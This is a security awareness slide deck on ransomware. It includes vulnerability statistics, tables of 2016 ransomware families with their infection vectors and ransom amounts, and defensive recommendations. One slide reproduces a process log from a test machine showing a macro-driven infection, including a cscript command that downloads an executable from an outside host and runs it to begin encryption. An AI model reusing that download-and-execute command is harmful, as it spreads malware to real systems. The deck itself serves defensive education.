SECURITY : A REALITY CHECK
CLEMENT ARUL

CYBER SECURITY PROFESSIONAL OF THE YEAR 2014, GOVT. OF MALAYSIA
CEH, CHFI, ECSP, ECSA, LPT, CSAD, CES, ECSP.NET, FCiISM, MCPD, MCTS
EDRP, ISO 27001 LEAD AUDITOR, ISO 22301 LEAD AUDITOR
EMC BIG DATA SCIENTIST

MANAGING DIRECTOR, KAAPAGAM TECHNOLOGIES SDN. BHD.
clementarul@kaapagamtech.com
Kaapagam -> A Safe House 😊
We take your Security Professionally & Personally
Number of Vulnerabilities
Source: Symantec :: MARCH 2014 — FEBRUARY 2015

<table>
<thead>
<tr>
<th>Month</th>
<th>Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mar</td>
<td>562</td>
</tr>
<tr>
<td>Apr</td>
<td>579</td>
</tr>
<tr>
<td>May</td>
<td>473</td>
</tr>
<tr>
<td>Jun</td>
<td>438</td>
</tr>
<tr>
<td>Jul</td>
<td>575</td>
</tr>
<tr>
<td>Aug</td>
<td>399</td>
</tr>
<tr>
<td>Sep</td>
<td>600</td>
</tr>
<tr>
<td>Oct</td>
<td>596</td>
</tr>
<tr>
<td>Nov</td>
<td>457</td>
</tr>
<tr>
<td>Dec</td>
<td>428</td>
</tr>
<tr>
<td>Jan</td>
<td>494</td>
</tr>
<tr>
<td>Feb</td>
<td>400</td>
</tr>
</tbody>
</table>
DEMOS

Let’s Get Started...
A diagram illustrating the process of a payment transaction. The flow starts from a Client Machine, which sends a request to a Server through a Proxy. The Server initiates an HTTPS Form Post, which includes hidden variables such as TID, MID, Prod, Qty, Price, Discount, Return URL, and possibly others. The payment gateway processes these variables and sends a response back to the server. The server then sends the response to the database for record keeping.

Source: Symantec
HOW?

Multiple Attack Vectors

Data Encrypted

Ransom Note

Pay Ransom
Data Decrypted – ??

OR

Restore from Backup
Ransomware by the Numbers

69,000++
# of Ransomware Samples Found in 2015
-Trend Labs, 2016

>50%
% of US Hospitals hit by Ransomware in 2015
-HIMSS Analytics, 2016

$200-$10k
Typical Ransom Paid
-FBI, April 2016

90,000
# of systems per day infected by Locky Ransomware
-Forbes, February 2016
Feb 2016 - Ransomwares

### SPN Detection Hits
- **Crypgcode**
- **Cryphydra**
- **Crypdap**
- **Crypzuquit**
- **Madlocker**
- **Locky**

### Infection Vector
- **Invoice spam**
- **Exploit kit**
- **Disguised as PDF attachment**
- **Spam**
- **Macro or JS attachment**

### Mode of Payment
- **400 dollars with instruction from author how to pay**
- **1 BTC**
- **0.8 BTC $350**
- **1.505 BTC**
- **2 BTC 536 GBP**
- **0.5 - 1 BTC**

### Encrypted Data
- **Personal files**
- **No addition to personal files**
- **Sql + web pages**
- **No addition to personal files**
- **Wallet**, **DB files**, **codes**

### Encryption
- **Keys are generated locally**
- **Public key from C&C**
- **Public key from C&C**
- **Keys are generated locally**
- **Encryption key from C&C**

### Self-Destruct
- **No**
March 2016 - Ransomwares

**SPN DETECTION HITS**

- CERBER
- CRYPAURA
- KeRanger
- TESLA 4.0
- MAKTUB
- SURPRISE
- PETYA
- POWERWARE
- CRIPTOSO
- COVERTON

**INFECTION VECTOR**

- EXPLOIT KIT
- SPAM
- APPSTORE
- MACRO OR JS ATTACHMENT
- EXPLOIT KIT
- TERMS-OF-SERVICE (TOS) SPAM
- TEAM VIEWER
- JOB APPLICATION WITH DROPBOX LINK
- MACRO DOWNLOADER ATTACHMENT

**MODE OF PAYMENT**

- 1.24-2.48 BTC
- 1 BTC
- 1.3 BTC
- 1.4 – 3.9 BTC
- 0.5 to 25 BTC
- 0.99 – 1.98 BTC
- 0.99 – 1.98 BTC
- 1.18 – 2.37 BTC
- 1 BTC then increases by 1 BTC daily
- 1 BTC

**ENCRYPTED DATA**

- PERSONAL FILES
- DB FILES
- ACCOUNTING/FINANCE FILES
- US TAX RETURN FILES
- WALLET
- OVERWITES MBR & BSOD

**ENCRYPTION**

- PRIVATE KEY IS OBTAINED AFTER PAYMENT
- PUBLIC KEY FROM C&C
- PUBLIC KEY FROM C&C
- PUBLIC KEY FROM C&C
- PRIVATE KEY IS OBTAINED AFTER PAYMENT
- PRIVATE KEY IS OBTAINED AFTER PAYMENT
- PRIVATE KEY IS OBTAINED AFTER PAYMENT
- 5 KEY PAIRS GENERATED LOCALLY
- 1 KEY REQUIRES RSA KEY

**SELF-DESTRUCT**

- NO
- NO
- NO
- NO
- NO
- NO
- NO
- NO

**Power shell script**
Infection Process

1. Word loading the infected Document
   - winword.exe on BW-TESTVM by BW-TESTVM\alice - ran for 20 seconds, 28 minutes ago
   - Command line: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE", "C:\Users\alice\Desktop\infecte_test_43501423.doc" - less

2. Macro executing CMD to create BAT file
   - cmd.exe on BW-TESTVM by BW-TESTVM\alice - ran for 24 seconds, 31 minutes ago
   - Command line: cmd /c C:\Users\alice\AppData\Local\Temp\fail.bat

3. BAT file downloading payload 6.EXE save as FAIL.EXE
   - cscript.exe on BW-TESTVM by BW-TESTVM\alice - ran for 5 seconds, 36 minutes ago
   - Command line: cscript \N:Users\alice\AppData\Local\Temp\exec.exe http://www.protexert.com/6.exe C:\Users\alice\AppData\Local\Temp\fail.exe

4. FAIL.EXE executing and starting file encryption
   - fail.exe on BW-TESTVM by BW-TESTVM\alice - ran for 1 minute, 36 minutes ago
   - Command line: C:\Users\alice\AppData\Local\Temp\fail.exe
Protecting Against Ransomware

**Back-up and Restore**
Automated: 3 copies, 1 air-gapped from network (DR Site)

**Access Control**
Limit access to business critical data

**Keep Current with Patching**
Minimize exploits of vulnerabilities

**Don’t Pay the Ransom**
Pay-off encourages further attacks

**Employee Education on Phishing**
Awareness, best practices, simulation testing

**Improve Security Posture**
Current Release, Web Reputation, Behavior Monitoring, Additional Technology

**Access Control**
Limit access to business critical data
Protecting Against Ransomware

**End Point protection**
Stop untrusted code/scripts/instructions from executing on endpoints including:
- EXE and DLL loading
- Memory
- File provenance
- Registry modifications
- File system locations
- Process user context (what user context is the process executing in)

**Accelerate & Automate**
Ransomware can detonate much faster than most persistent data breach attacks. Response and disruption have to be sped up, that means automatic...